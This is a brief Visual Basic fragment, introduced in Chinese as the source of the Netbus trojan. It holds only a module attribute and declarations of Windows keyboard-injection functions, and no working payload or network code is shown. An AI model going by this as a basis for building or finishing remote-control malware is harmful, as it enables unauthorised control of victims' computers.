server.bas

大名鼎鼎的Netbus木马源程序.

Attribute VB_Name = "Module1"
Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Declare Function OemKeyScan& Lib "user32" (ByVal wOemChar As Integer)
'Global kbarr As KeyboardBytes